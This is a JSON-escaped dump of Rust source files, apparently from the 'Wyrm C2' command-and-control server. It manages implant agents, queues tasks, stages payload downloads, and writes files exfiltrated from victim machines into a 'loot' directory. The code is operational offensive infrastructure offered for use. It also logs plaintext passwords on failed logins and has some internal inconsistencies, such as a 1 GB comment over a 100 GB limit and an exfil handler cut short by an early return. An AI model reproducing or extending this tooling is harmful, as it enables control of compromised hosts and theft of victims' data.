) -> Result<Agent, sqlx::Error> {\n        let _ = sqlx::query(\n            \"INSERT into agents (uid, sleep)\n            VALUES ($1, $2)\",\n        )\n        .bind(id)\n        .bind(frd.e as i64)\n        .execute(&self.pool)\n        .await?;\n\n        let last_checkin_time: DateTime<Utc> = Utc::now();\n\n        Ok({\n            Agent {\n                uid: id.to_string(),\n                sleep: frd.e,\n                first_run_data: frd,\n                last_checkin_time,\n                is_stale: false,\n            }\n        })\n    }\n\n    pub async fn add_task_for_agent_by_id(\n        &self,\n        uid: &String,\n        command: Command,\n        metadata: Option<String>,\n    ) -> Result<i32, sqlx::Error> {\n        let row = sqlx::query(\n            r#\"\n            INSERT into tasks (command_id, data, agent_id, fetched)\n            VALUES ($1, $2, $3, FALSE)\n            RETURNING id\"#,\n        )\n        .bind(command as i32)\n        .bind(metadata)\n        .bind(uid)\n        .fetch_one(&self.pool)\n        .await?;\n\n        let id: i32 = row.get(\"id\");\n\n        Ok(id)\n    }\n\n    pub async fn update_agent_sleep_time(\n        &self,\n        uid: &String,\n        metadata: i64,\n    ) -> Result<(), sqlx::Error> {\n        let _ = sqlx::query(\n            \"UPDATE agents\n            SET sleep = $1\n            WHERE uid = $2\",\n        )\n        .bind(metadata)\n        .bind(uid)\n        .execute(&self.pool)\n        .await?;\n\n        Ok(())\n    }\n\n    /// Sets a task to completed in the db\n    pub async fn mark_task_completed(&self, task: &Task) -> Result<(), sqlx::Error> {\n        let _ = sqlx::query(\n            r#\"\n            UPDATE tasks\n            SET completed = TRUE\n            WHERE id = $1\n        \"#,\n        )\n        .bind(task.id)\n        .execute(&self.pool)\n        .await?;\n\n        Ok(())\n    }\n\n    /// Adds a completed task into the `completed_tasks` table which stores the results\n    /// and metadata associated with completed task results, to be used by the client.\n    pub async fn add_completed_task(&self, task: &Task, agent_id: &str) -> Result<(), sqlx::Error> {\n        let cmd_id: u32 = task.command.into();\n\n        let _ = sqlx::query(\n            r#\"\n            INSERT INTO completed_tasks (task_id, result, time_completed_ms, agent_id, command_id)\n            VALUES ($1, $2, $3, $4, $5)\n        \"#,\n        )\n        .bind(task.id)\n        .bind(task.metadata.as_deref())\n        .bind(task.completed_time)\n        .bind(agent_id)\n        .bind(cmd_id as i32)\n        .execute(&self.pool)\n        .await?;\n\n        Ok(())\n    }\n\n    /// Db query that looks whether an agent by its UID has any pending notifications\n    /// that have not been polled by the client.\n    pub async fn agent_has_pending_notifications(&self, uid: &String) -> Result<bool, sqlx::Error> {\n        let results = sqlx::query(\n            r#\"\n            SELECT ct.id\n            FROM completed_tasks ct\n            WHERE\n                ct.agent_id = $1\n                AND ct.client_pulled_update = FALSE\n                AND ct.command_id IS NOT NULL\n            LIMIT 1\n        \"#,\n        )\n        .bind(uid)\n        .fetch_one(&self.pool)\n        .await;\n\n        let results = match results {\n            Ok(r) => r,\n            Err(e) => match e {\n                sqlx::Error::RowNotFound => return Ok(false),\n                _ => return Ok(false),\n            },\n        };\n\n        Ok(!results.is_empty())\n    }\n\n    pub async fn pull_notifications_for_agent(\n        &self,\n        uid: &String,\n    ) -> Result<Option<NotificationsForAgents>, sqlx::Error> {\n        let mut rows: NotificationsForAgents = sqlx::query_as(\n            r#\"\n            WITH pending AS (\n                SELECT id\n                FROM completed_tasks\n                WHERE\n                    client_pulled_update = FALSE\n                    AND agent_id = $1\n                    AND command_id IS NOT NULL\n                ORDER BY task_id ASC\n                FOR UPDATE SKIP LOCKED\n            )\n            UPDATE completed_tasks ct\n            SET client_pulled_update = TRUE\n            FROM pending\n            WHERE ct.id = pending.id\n            RETURNING\n                ct.id AS completed_id,\n                ct.task_id,\n                ct.command_id,\n                ct.agent_id,\n                ct.result,\n                ct.time_completed_ms\n        \"#,\n        )\n        .bind(uid)\n        .fetch_all(&self.pool)\n        .await?;\n\n        if rows.is_empty() {\n            return Ok(None);\n        }\n\n        rows.sort_by_key(|row| row.task_id);\n\n        Ok(Some(rows))\n    }\n\n    /// Updates the agents last check-in time, both in the database, and the in memory copy of the agent.\n    pub async fn update_agent_checkin_time(&self, agent: &mut Agent) -> Result<(), sqlx::Error> {\n        // Update the in memory representation of the agent's last check-in\n        agent.last_checkin_time = Utc::now();\n\n        // We will use PG inbuilt now() function to keep types happy\n        let _ = sqlx::query(\n            r#\"\n            UPDATE agents\n            SET last_check_in = now()\n            WHERE uid = $1\n            \"#,\n        )\n        .bind(&agent.uid)\n        .execute(&self.pool)\n        .await?;\n\n        Ok(())\n    }\n\n    // pub async fn get_agent_last_check_in(&self, uid: &str) -> Result<DateTime<Utc>, sqlx::Error> {\n    //     let row = sqlx::query(\n    //         r#\"\n    //         SELECT last_check_in\n    //         FROM agents\n    //         WHERE uid = $1\n    //         \"#,\n    //     )\n    //     .bind(uid)\n    //     .fetch_one(&self.pool)\n    //     .await?;\n\n    //     let last_check_in: DateTime<Utc> = row.try_get(\"last_check_in\")?;\n\n    //     Ok(last_check_in)\n    // }\n\n    pub async fn add_staged_agent(&self, data: &NewAgentStaging) -> Result<(), sqlx::Error> {\n        // As we are using this as a u8, and we cannot store it in the db as a u8 for some reason (?)\n        // we will cast it to an i16 for storage, so we can safely convert back to a u8 without causing\n        // undefined behaviour with an int overflow.\n\n        let _ = sqlx::query(\n            \"INSERT into agent_staging \n                (agent_name, host, c2_endpoint, staged_endpoint, sleep_time, pe_name, port, security_token)\n            VALUES \n                ($1, $2, $3, $4, $5, $6, $7, $8)\n            \",\n        )\n        .bind(&data.implant_name)\n        .bind(&data.c2_address)\n        .bind(&data.c2_endpoints[0])\n        .bind(&data.staging_endpoint)\n        .bind(data.default_sleep_time)\n        .bind(&data.pe_name)\n        .bind(data.port as i16)\n        .bind(&data.agent_security_token)\n        .execute(&self.pool)\n        .await?;\n\n        Ok(())\n    }\n\n    /// Deletes the database row relating to a staged resource.\n    ///\n    /// # Returns\n    /// A `string` containing the file name on the local disk of the server.\n    pub async fn delete_staged_resource_by_uri(\n        &self,\n        download_url: &str,\n    ) -> Result<String, sqlx::Error> {\n        // Get the file name on disk before we delete, which will allow the file to be deleted by\n        // path\n        let results = sqlx::query(\n            \"SELECT pe_name FROM agent_staging \n            WHERE staged_endpoint = $1\",\n        )\n        .bind(download_url)\n        .fetch_one(&self.pool)\n        .await?;\n\n        let file_name: String = results.get(\"pe_name\");\n\n        // Remove the agent staging row\n        let _ = sqlx::query(\n            \"DELETE FROM agent_staging \n            WHERE staged_endpoint = $1\",\n        )\n        .bind(download_url)\n        .execute(&self.pool)\n        .await?;\n\n        Ok(file_name)\n    }\n\n    /// Queries the database to get URI information around routes available for agents where\n    /// the operator has configured the C2 to use them, as well as staged downloads.\n    ///\n    /// # Returns\n    /// On success returns a tuple:\n    ///\n    /// - `HashSet<String>` containing the URIs that are permitted for c2 check-in\n    /// - `HashMap<String, String>` containing the URI's (key) and PE names (value) for staged downloads\n    /// - `HashSet<String>` containing the security tokens valid for agents to connect to the C2\n    pub async fn get_agent_related_db_cfg(\n        &self,\n    ) -> Result<\n        (\n            HashSet<String>,\n            HashMap<String, DownloadEndpointData>,\n            HashSet<String>,\n        ),\n        sqlx::Error,\n    > {\n        let mut check_in_uris: HashSet<String> = HashSet::new();\n        let mut security_tokens: HashSet<String> = HashSet::new();\n        let mut staged_downloads: HashMap<String, DownloadEndpointData> = HashMap::new();\n\n        let rows = sqlx::query(\n            r#\"\n            SELECT c2_endpoint, staged_endpoint, pe_name, security_token, agent_name, xor_key\n            FROM agent_staging\"#,\n        )\n        .fetch_all(&self.pool)\n        .await?;\n\n        if rows.is_empty() {\n            return Ok((check_in_uris, staged_downloads, security_tokens));\n        }\n\n        for row in rows {\n            let c2_endpoint: String = row.try_get(\"c2_endpoint\")?;\n            let staged_endpoint: String = row.try_get(\"staged_endpoint\")?;\n            let pe_name: String = row.try_get(\"pe_name\")?;\n            let agent_security_token: String = row.try_get(\"security_token\")?;\n            let agent_name: String = row.try_get(\"agent_name\")?;\n            let xor_key: Option<u8> = {\n                let k: i16 = row.try_get(\"xor_key\")?;\n                // Cast is safe - we only ever accept a u8 on the frontend so we wont\n                // experience any undefined behaviour in respect of integer underflow.\n                if k == 0 { None } else { Some(k as u8) }\n            };\n\n            check_in_uris.insert(c2_endpoint);\n            staged_downloads.insert(\n                staged_endpoint,\n                DownloadEndpointData::new(&pe_name, &agent_name, xor_key),\n            );\n            security_tokens.insert(agent_security_token);\n        }\n\n        Ok((check_in_uris, staged_downloads, security_tokens))\n    }\n\n    /// Attempts to lookup an operator - at the moment this only supports SINGLE OPERATOR operations\n    /// so when we make the lookup, we are looking for 1 and only 1 row. We are NOT searching by username\n    /// right now.\n    ///\n    /// # Returns\n    /// Some - (`db_username`, `password_hash`, `salt`) of the row\n    /// None - if the operator could not be found\n    pub async fn lookup_operator(\n        &self,\n        _username: &str,\n    ) -> Result<Option<(String, String, String)>, sqlx::Error> {\n        let row = sqlx::query(\n            r#\"\n            SELECT username, password_hash, salt\n            FROM operators\"#,\n        )\n        .fetch_one(&self.pool)\n        .await?;\n\n        if row.is_empty() {\n            return Ok(None);\n        }\n\n        let db_username: String = row.try_get(\"username\")?;\n        let password_hash: String = row.try_get(\"password_hash\")?;\n        let salt: String = row.try_get(\"salt\")?;\n\n        Ok(Some((db_username, password_hash, salt)))\n    }\n\n    pub async fn add_operator(\n        &self,\n        username: &str,\n        pw_hash: &str,\n        salt_hash: &str,\n    ) -> Result<(), sqlx::Error> {\n        if let Ok(result) = self.lookup_operator(\"\").await\n            && result.is_some()\n        {\n            panic!(\"You are trying to add another operator and that is forbidden right now.\");\n        }\n\n        let _ = sqlx::query(\n            \"INSERT into operators \n                (username, password_hash, salt)\n            VALUES \n                ($1, $2, $3)\n            \",\n        )\n        .bind(username)\n        .bind(pw_hash)\n        .bind(salt_hash)\n        .execute(&self.pool)\n        .await?;\n\n        Ok(())\n    }\n\n    pub async fn get_staged_agent_data(&self) -> Result<Vec<StagedResourceData>, sqlx::Error> {\n        let rows = sqlx::query_as::<_, StagedResourceData>(\n            r#\"\n            SELECT agent_name, c2_endpoint, staged_endpoint, pe_name, sleep_time, port, num_downloads\n            FROM agent_staging\"#,\n        )\n        .fetch_all(&self.pool)\n        .await?;\n\n        Ok(rows)\n    }\n\n    pub async fn get_agent_export_data(&self, uid: &str) -> Result<Option<Vec<Task>>, sqlx::Error> {\n        let rows = sqlx::query(\n            r#\"\n            SELECT task_id, result, time_completed_ms, command_id\n            FROM completed_tasks\n            WHERE agent_id = $1\"#,\n        )\n        .bind(uid)\n        .fetch_all(&self.pool)\n        .await?;\n\n        if rows.is_empty() {\n            return Ok(None);\n        }\n\n        let mut results = vec![];\n\n        for row in rows {\n            let task_id: i32 = row.try_get(\"task_id\")?;\n            let metadata: Option<String> = row.try_get(\"result\")?;\n            let completed_time: i64 = row.try_get(\"time_completed_ms\")?;\n            let command_id: i32 = row.try_get(\"command_id\")?;\n\n            let command = Command::from_u32(command_id as _);\n\n            results.push(Task {\n                id: task_id,\n                command,\n                completed_time,\n                metadata,\n            });\n        }\n\n        Ok(Some(results))\n    }\n\n    pub async fn update_download_count(&self, staged_endpoint: &String) -> Result<(), sqlx::Error> {\n        let _ = sqlx::query(\n            \"UPDATE agent_staging\n            SET num_downloads = num_downloads + 1\n            WHERE staged_endpoint = $1\",\n        )\n        .bind(staged_endpoint)\n        .execute(&self.pool)\n        .await?;\n\n        Ok(())\n    }\n}\n"
  },
  {
    "path": "c2/src/exfil.rs",
    "content": "use std::path::PathBuf;\n\nuse shared::tasks::{ExfiltratedFile, Task};\nuse tokio::io::AsyncWriteExt;\n\nuse crate::{EXFIL_PATH, logging::log_error_async};\n\n/// Handles an exfiltrated file from the targets machine by saving it to disk on the\n/// c2 under the path c2/<hostname><path as per target machine>\npub async fn handle_exfiltrated_file(task: &mut Task) {\n    task.metadata = None;\n    return;\n\n    if let Some(ser) = &task.metadata {\n        let ef = match serde_json::from_str::<ExfiltratedFile>(ser) {\n            Ok(ef) => ef,\n            Err(e) => {\n                // If we got an error extracting as an ExfiltratedFile, try extract as string which\n                // will contain an error from the target system.\n                if let Ok(_) = serde_json::from_str::<String>(ser) {\n                    // Let the client deal with the error message\n                    return;\n                }\n\n                log_error_async(&format!(\n                    \"Failed to deserialise data from exfiltrated file. {e}. Got: {:?}\",\n                    task.metadata\n                ))\n                .await;\n                task.metadata = None;\n                return;\n            }\n        };\n\n        //\n        // Construct the save path - we cannot save with C:\\ in the name, so we strip this. Any other drive letter\n        // should be fine (I think)\n        //\n        let mut save_path = String::from(EXFIL_PATH);\n        save_path.push('/');\n        save_path.push_str(&ef.hostname);\n        save_path.push('/');\n        save_path.push_str(&ef.file_path);\n        let save_path = save_path.replace(r\"C:\\\", \"\");\n        let save_path = save_path.replace(\"\\\\\", \"/\");\n\n        //\n        // Ensure the directory is created for the file\n        //\n        let mut path_as_path = PathBuf::from(&save_path);\n        path_as_path.pop();\n        if let Err(e) = tokio::fs::create_dir_all(path_as_path).await {\n            log_error_async(&format!(\n                \"Failed to create folder for exfiltrated file. {e}\"\n            ))\n            .await;\n            task.metadata = None;\n            return;\n        };\n\n        //\n        // Create and write the file\n        //\n        let f = tokio::fs::File::options()\n            .create(true)\n            .write(true)\n            .truncate(true)\n            .open(&save_path)\n            .await;\n\n        let mut f = match f {\n            Ok(f) => f,\n            Err(e) => {\n                log_error_async(&format!(\"Failed to create file after exfil. {e}\")).await;\n\n                task.metadata = None;\n                return;\n            }\n        };\n\n        if let Err(e) = f.write_all(&ef.file_data).await {\n            log_error_async(&format!(\"Failed to write exfiltrated file data. {e}\")).await;\n        };\n    }\n\n    // Finally, remove the enclosed vec - we do not want to store this result in the db\n    task.metadata = None;\n}\n\n/// Handles an exfiltrated file from the targets machine by saving it to disk on the\n/// c2 under the path c2/<hostname><path as per target machine>\npub async fn handle_exfiltrated_file_stream(task: &mut Task) {\n    if let Some(ser) = &task.metadata {\n        let ef = match serde_json::from_str::<ExfiltratedFile>(ser) {\n            Ok(ef) => ef,\n            Err(e) => {\n                // If we got an error extracting as an ExfiltratedFile, try extract as string which\n                // will contain an error from the target system.\n                if let Ok(_) = serde_json::from_str::<String>(ser) {\n                    // Let the client deal with the error message\n                    return;\n                }\n\n                log_error_async(&format!(\n                    \"Failed to deserialise data from exfiltrated file. {e}. Got: {:?}\",\n                    task.metadata\n                ))\n                .await;\n                task.metadata = None;\n                return;\n            }\n        };\n\n        //\n        // Construct the save path - we cannot save with C:\\ in the name, so we strip this. Any other drive letter\n        // should be fine (I think)\n        //\n        let mut save_path = String::from(EXFIL_PATH);\n        save_path.push('/');\n        save_path.push_str(&ef.hostname);\n        save_path.push('/');\n        save_path.push_str(&ef.file_path);\n        let save_path = save_path.replace(r\"C:\\\", \"\");\n        let save_path = save_path.replace(\"\\\\\", \"/\");\n\n        //\n        // Ensure the directory is created for the file\n        //\n        let mut path_as_path = PathBuf::from(&save_path);\n        path_as_path.pop();\n        if let Err(e) = tokio::fs::create_dir_all(path_as_path).await {\n            log_error_async(&format!(\n                \"Failed to create folder for exfiltrated file. {e}\"\n            ))\n            .await;\n            task.metadata = None;\n            return;\n        };\n\n        //\n        // Create and write the file\n        //\n        let f = tokio::fs::File::options()\n            .create(true)\n            .write(true)\n            .truncate(true)\n            .open(&save_path)\n            .await;\n\n        let mut f = match f {\n            Ok(f) => f,\n            Err(e) => {\n                log_error_async(&format!(\"Failed to create file after exfil. {e}\")).await;\n\n                task.metadata = None;\n                return;\n            }\n        };\n\n        if let Err(e) = f.write_all(&ef.file_data).await {\n            log_error_async(&format!(\"Failed to write exfiltrated file data. {e}\")).await;\n        };\n    }\n\n    // Finally, remove the enclosed vec - we do not want to store this result in the db\n    task.metadata = None;\n}\n"
  },
  {
    "path": "c2/src/logging.rs",
    "content": "use std::{env, fmt::Display, io::Write, path::PathBuf};\n\nuse chrono::{SecondsFormat, Utc};\nuse tokio::io::AsyncWriteExt;\n\nuse crate::{ACCESS_LOG, DOWNLOAD, ERROR_LOG, LOG_PATH, LOGIN_LOG};\n\npub async fn log_download_accessed(uri: &str, addr: &str) {\n    let mut path = PathBuf::from(LOG_PATH);\n    path.push(DOWNLOAD);\n\n    let msg = format!(\"Download accessed: /{uri}.\");\n\n    log(&path, &msg, Some(addr)).await;\n}\n\npub async fn log_page_accessed_no_auth(uri: &str, addr: &str) {\n    if let Ok(v) = env::var(\"DISABLE_ACCESS_LOG\") {\n        if v == \"1\" {\n            return;\n        }\n    }\n\n    let mut path = PathBuf::from(LOG_PATH);\n    path.push(ACCESS_LOG);\n\n    let msg = format!(\"Unauthenticated request at: /{uri}.\");\n\n    log(&path, &msg, Some(addr)).await;\n}\n\npub async fn log_page_accessed_auth(uri: &str, addr: &str) {\n    if let Ok(v) = env::var(\"DISABLE_ACCESS_LOG\")\n        && v == \"1\"\n    {\n        return;\n    }\n\n    let mut path = PathBuf::from(LOG_PATH);\n    path.push(ACCESS_LOG);\n\n    let msg = format!(\"Authenticated request at: /{uri}.\");\n\n    log(&path, &msg, Some(addr)).await;\n}\n\npub async fn log_admin_login_attempt(username: &str, password: &str, ip: &str, success: bool) {\n    if let Ok(v) = env::var(\"DISABLE_LOGIN_LOG\")\n        && v == \"1\"\n    {\n        return;\n    }\n\n    let mut path = PathBuf::from(LOG_PATH);\n    path.push(LOGIN_LOG);\n\n    // check if IP is unique, for size concerns only log those\n    let r = tokio::fs::read_to_string(&path).await.unwrap_or_default();\n    let msg = if r.contains(ip) && success {\n        format!(\"Login true. Username: {username}, Password: [REDACTED].\")\n    } else if r.contains(ip) && !success {\n        format!(\"[REPEAT ATTEMPT] Login {success}. Username: {username}, Password: REDACTED.\")\n    } else if !success {\n        if let Ok(v) = env::var(\"DISABLE_PLAINTXT_PW_BAD_LOGIN\") {\n            if v == \"1\" {\n                format!(\"Login {success}. Username: {username}, Password: [REDACTED].\")\n            } else {\n                format!(\"Login {success}. Username: {username}, Password: {password}.\")\n            }\n        } else {\n            format!(\"Login {success}. Username: {username}, Password: {password}.\")\n        }\n    } else {\n        format!(\"Login {success}. Username: {username}, Password: [REDACTED].\")\n    };\n\n    log(&path, &msg, Some(ip)).await;\n}\n\npub fn log_error(message: &str) {\n    let mut path = PathBuf::from(LOG_PATH);\n    path.push(ERROR_LOG);\n\n    log_sync(&path, message, None);\n}\n\npub async fn log_error_async(message: &str) {\n    let mut path = PathBuf::from(LOG_PATH);\n    path.push(ERROR_LOG);\n\n    log(&path, message, None).await\n}\n\n/// An internal function to log an event to a given log file.\n///\n/// This function takes care of adding the date and IP to the log for consistency, and also appends\n/// a newline at the end of the line.\nasync fn log(path: &PathBuf, message: &str, addr: Option<&str>) {\n    let file = tokio::fs::OpenOptions::new()\n        .read(true)\n        .append(true)\n        .open(path)\n        .await;\n\n    let message = construct_msg(addr, message);\n\n    if let Ok(mut file) = file {\n        let _ = file.write(message.as_bytes()).await;\n    }\n}\n\nfn log_sync(path: &PathBuf, message: &str, addr: Option<&str>) {\n    let msg = construct_msg(addr, message);\n\n    let file = std::fs::OpenOptions::new()\n        .read(true)\n        .append(true)\n        .open(path);\n\n    if let Ok(mut file) = file {\n        let _ = file.write(msg.as_bytes());\n    }\n}\n\nfn construct_msg(ip: Option<&str>, message: &str) -> String {\n    let time_now = Utc::now();\n    let time_now = time_now.to_rfc3339_opts(SecondsFormat::Secs, true);\n\n    if let Some(ip) = ip {\n        format!(\"[{time_now}] [{ip}] {message}\\n\")\n    } else {\n        format!(\"[{time_now}] {message}\\n\")\n    }\n}\n\n#[macro_export]\nmacro_rules! ensure_log_file_on_disk {\n    ($filename:expr) => {{\n        use crate::LOG_PATH;\n\n        let mut log_path = std::path::PathBuf::from(LOG_PATH);\n        log_path.push($filename);\n        if let Err(e) = std::fs::File::create_new(&log_path) {\n            match e.kind() {\n                std::io::ErrorKind::AlreadyExists => (),\n                _ => {\n                    panic!(\"Cannot create log for {}\", $filename);\n                }\n            }\n        }\n    }};\n}\n\n#[macro_export]\nmacro_rules! create_dir {\n    ($dir_path:expr) => {{\n        if let Err(e) = std::fs::create_dir($dir_path) {\n            match e.kind() {\n                std::io::ErrorKind::AlreadyExists => (),\n                _ => panic!(\"Could not create dir for {}\", $dir_path),\n            }\n        }\n    }};\n}\n\npub fn print_success(msg: impl Display) {\n    println!(\"[+] {msg}\");\n}\n\npub fn print_info(msg: impl Display) {\n    println!(\"[i] {msg}\");\n}\n\npub fn print_failed(msg: impl Display) {\n    println!(\"[-] {msg}\");\n}\n"
  },
  {
    "path": "c2/src/main.rs",
    "content": "#![feature(map_try_insert)]\n\nuse core::panic;\nuse std::{any::Any, net::SocketAddr, sync::Arc, time::Duration};\n\nuse axum::{\n    Router,\n    body::Bytes,\n    extract::DefaultBodyLimit,\n    http::{Response, StatusCode, header},\n    middleware::from_fn_with_state,\n    routing::{get, post},\n    serve,\n};\n\nuse http_body_util::Full;\nuse shared::net::{\n    ADMIN_ENDPOINT, ADMIN_HEALTH_CHECK_ENDPOINT, ADMIN_LOGIN_ENDPOINT,\n    NOTIFICATION_CHECK_AGENT_ENDPOINT,\n};\nuse tower_http::catch_panic::CatchPanicLayer;\n\nuse crate::{\n    api::{\n        admin_routes::{\n            admin_login, admin_upload, build_all_binaries_handler, handle_admin_commands_on_agent,\n            handle_admin_commands_without_agent, is_adm_logged_in, logout,\n            poll_agent_notifications,\n        },\n        agent_get::{handle_agent_get, handle_agent_get_with_path},\n        agent_post::{agent_post_handler, agent_post_handler_with_path},\n    },\n    app_state::{AppState, detect_stale_agents},\n    db::Db,\n    logging::{log_error, print_info, print_success},\n    middleware::{authenticate_admin, authenticate_agent_by_header_token, logout_middleware},\n    profiles::parse_profile,\n};\n\nmod admin_task_dispatch;\nmod agents;\nmod api;\nmod app_state;\nmod db;\nmod exfil;\nmod logging;\nmod middleware;\nmod net;\nmod pe_utils;\nmod profiles;\n\n/// The maximum POST body request size that can be received by the C2.\n/// Set at 1 GB.\nconst NUM_GIGS: usize = 100;\nconst MAX_POST_BODY_SZ: usize = NUM_GIGS * 1024 * 1024 * 1024;\n\nconst AUTH_COOKIE_NAME: &str = \"session\";\nconst COOKIE_TTL: Duration = Duration::from_hours(12);\n\n/// The path to the directory on the server (relative to the working directory of the service [n.b. this\n/// implies the server was 'installed' correctly..])\nconst FILE_STORE_PATH: &str = \"/data/staged_files\";\nconst EXFIL_PATH: &str = \"/data/loot\";\nconst LOG_PATH: &str = \"/data/logs\";\nconst DB_EXPORT_PATH: &str = \"/data/exports\";\nconst ACCESS_LOG: &str = \"access.log\";\nconst DOWNLOAD: &str = \"downloads.log\";\nconst LOGIN_LOG: &str = \"login.log\";\nconst ERROR_LOG: &str = \"error.log\";\nconst TOOLS_PATH: &str = \"/tools\";\nconst WOFS_PATH: &str = \"/wofs_static\";\n\n#[tokio::main]\nasync fn main() -> Result<(), Box<dyn std::error::Error>> {\n    //\n    // Initialise the state of the C2, including checking the filesystem, database, etc.\n    //\n    let state = init_server_state().await;\n\n    //\n    // Build the router and serve content\n    //\n    let app = build_routes(state.clone()).layer(CatchPanicLayer::custom(handle_panic));\n    let listener = tokio::net::TcpListener::bind(construct_listener_addr()).await?;\n\n    print_success(format!(\n        \"Wyrm C2 started on: {}\",\n        listener.local_addr().unwrap()\n    ));\n\n    serve(\n        listener,\n        app.into_make_service_with_connect_info::<SocketAddr>(),\n    )\n    .await?;\n\n    print_info(\"Server closed.\");\n\n    Ok(())\n}\n\nfn construct_listener_addr() -> String {\n    let port = std::env::var(\"C2_PORT\").expect(\"could not find C2_PORT environment variable\");\n    let port: u16 = port\n        .parse()\n        .expect(\"could not parse port number to valid range\");\n    let c2_host = std::env::var(\"C2_HOST\").expect(\"could not find C2_HOST environment variable\");\n\n    format!(\"{c2_host}:{port}\")\n}\n\nasync fn init_server_state() -> Arc<AppState> {\n    print_info(\"Starting Wyrm C2.\");\n\n    let profile = match parse_profile().await {\n        Ok(p) => p,\n        Err(e) => {\n            panic!(\"Could not parse profiles. {e}\");\n        }\n    };\n\n    print_success(\"Profiles parsed.\");\n\n    ensure_dirs_and_files();\n\n    let pool = Db::new().await;\n    let state = Arc::new(AppState::from(pool, profile).await);\n\n    //\n    // Kick off automations that run on the server\n    //\n    state.track_sessions();\n    let state_cl = state.clone();\n    tokio::task::spawn(async move { detect_stale_agents(state_cl).await });\n\n    state\n}\n\nfn build_routes(state: Arc<AppState>) -> Router {\n    Router::new()\n        //\n        //\n        // PUBLIC ROUTES\n        //\n        //\n        .route(\n            \"/\",\n            get(handle_agent_get).layer(from_fn_with_state(\n                state.clone(),\n                authenticate_agent_by_header_token,\n            )),\n        )\n        .route(\n            \"/\",\n            post(agent_post_handler).layer(from_fn_with_state(\n                state.clone(),\n                authenticate_agent_by_header_token,\n            )),\n        )\n        // Used for the operator staging payloads or check-ins not to /\n        .route(\n            \"/{*endpoint}\",\n            get(handle_agent_get_with_path).layer(from_fn_with_state(\n                state.clone(),\n                authenticate_agent_by_header_token,\n            )),\n        )\n        .route(\n            \"/{*endpoint}\",\n            post(agent_post_handler_with_path).layer(from_fn_with_state(\n                state.clone(),\n                authenticate_agent_by_header_token,\n            )),\n        )\n        //\n        //\n        // ADMIN ROUTES\n        //\n        //\n        .route(\n            \"/logout_admin\",\n            post(logout).layer(from_fn_with_state(state.clone(), logout_middleware)),\n        )\n        // Uploading a file via the GUI\n        .route(\n            \"/admin_upload\",\n            post(admin_upload).layer(from_fn_with_state(state.clone(), authenticate_admin)),\n        )\n        // Build all binaries path\n        .route(\n            \"/admin_bab\",\n            post(build_all_binaries_handler)\n                .layer(from_fn_with_state(state.clone(), authenticate_admin)),\n        )\n        .route(&format!(\"/{ADMIN_LOGIN_ENDPOINT}\"), post(admin_login))\n        // Admin endpoint when operating a command which is not related to a specific agent\n        .route(\n            &format!(\"/{ADMIN_ENDPOINT}\"),\n            post(handle_admin_commands_without_agent)\n                .layer(from_fn_with_state(state.clone(), authenticate_admin)),\n        )\n        // Against a specific agent\n        .route(\n            &format!(\"/{ADMIN_ENDPOINT}/{}\", \"{id}\"),\n            post(handle_admin_commands_on_agent)\n                .layer(from_fn_with_state(state.clone(), authenticate_admin)),\n        )\n        // For checking if notifications exist for a given agent\n        .route(\n            &format!(\"/{NOTIFICATION_CHECK_AGENT_ENDPOINT}/{}\", \"{id}\"),\n            get(poll_agent_notifications)\n                .layer(from_fn_with_state(state.clone(), authenticate_admin)),\n        )\n        // A route for admin poll to check if logged in on the GUI\n        .route(\n            ADMIN_HEALTH_CHECK_ENDPOINT,\n            get(is_adm_logged_in).layer(from_fn_with_state(state.clone(), authenticate_admin)),\n        )\n        //\n        // 1 GB for POST max ?\n        //\n        .layer(DefaultBodyLimit::max(MAX_POST_BODY_SZ))\n        .with_state(state.clone())\n}\n\nfn ensure_dirs_and_files() {\n    create_dir!(FILE_STORE_PATH);\n    create_dir!(DB_EXPORT_PATH);\n    create_dir!(EXFIL_PATH);\n    create_dir!(LOG_PATH);\n\n    ensure_log_file_on_disk!(ACCESS_LOG);\n    ensure_log_file_on_disk!(DOWNLOAD);\n    ensure_log_file_on_disk!(LOGIN_LOG);\n    ensure_log_file_on_disk!(ERROR_LOG);\n\n    print_success(\"Directories and files are in order..\");\n}\n\nfn handle_panic(err: Box<dyn Any + Send + 'static>) -> Response<Full<Bytes>> {\n    let details = if let Some(s) = err.downcast_ref::<String>() {\n        s.clone()\n    } else if let Some(s) = err.downcast_ref::<&str>() {\n        s.to_string()\n    } else {\n        \"Unknown panic message\".to_string()\n    };\n\n    log_error(&format!(\"PANIC: `{}`\", details));\n\n    let body = serde_json::json!(\"\");\n\n    let body = serde_json::to_string(&body).unwrap();\n    Response::builder()\n        .status(StatusCode::INTERNAL_SERVER_ERROR)\n        .header(header::CONTENT_TYPE, \"application/json\")\n        .body(Full::from(body))\n        .unwrap()\n}\n"
  },
  {
    "path": "c2/src/middleware.rs",
    "content": "use std::{net::SocketAddr, sync::Arc, time::Instant};\n\nuse axum::{\n    extract::{ConnectInfo, Request, State},\n    http::{HeaderMap, StatusCode},\n    middleware::Next,\n    response::IntoResponse,\n};\nuse axum_extra::extract::CookieJar;\nuse base64::{Engine, engine::general_purpose};\nuse crypto::bcrypt::bcrypt;\nuse rand::{RngCore, rng};\n\nuse crate::{\n    AUTH_COOKIE_NAME,\n    app_state::AppState,\n    logging::{log_download_accessed, log_error_async, log_page_accessed_no_auth},\n};\n\nconst BCRYPT_HASH_BYTES: usize = 24;\nconst BCRYPT_COST: u32 = 12;\nconst SALT_BYTES: usize = 16;\nconst LOCK_WAIT_WARN_MS: u128 = 500;\n\n/// Authenticates access to an admin route via the `Authorization` header present with the request. This includes\n/// encoded username/password which will be validated.\n///\n/// In the event there is no user in the db, a new one will be created. We make this secure by requiring a third\n/// parameter sent in the headers which is a unique token set in the `.env` of the server to ensure we cannot be\n/// vulnerable to remote takeover.\npub async fn authenticate_admin(\n    jar: CookieJar,\n    State(state): State<Arc<AppState>>,\n    addr: ConnectInfo<SocketAddr>,\n    request: Request,\n    next: Next,\n) -> impl IntoResponse {\n    if let Some(session) = jar.get(AUTH_COOKIE_NAME) {\n        let session = session.to_string();\n\n        //\n        // Determine whether the presented session key is present in the active keys\n        //\n        if state.has_session(&session).await {\n            return next.run(request).await.into_response();\n        } else {\n            return StatusCode::NOT_FOUND.into_response();\n        }\n    }\n\n    return StatusCode::NOT_FOUND.into_response();\n}\n\n/// Verify the password passed into the admin route by comparing its calculated hash with the\n/// expected hash from the db.\npub async fn verify_password(password: &str, password_hash: &str, salt: &str) -> bool {\n    let salt = general_purpose::STANDARD\n        .decode(salt)\n        .expect(\"invalid base64\");\n\n    let expected_hash = general_purpose::STANDARD\n        .decode(password_hash)\n        .expect(\"invalid b64 on password\");\n\n    let password = password.to_string();\n\n    // Validate with 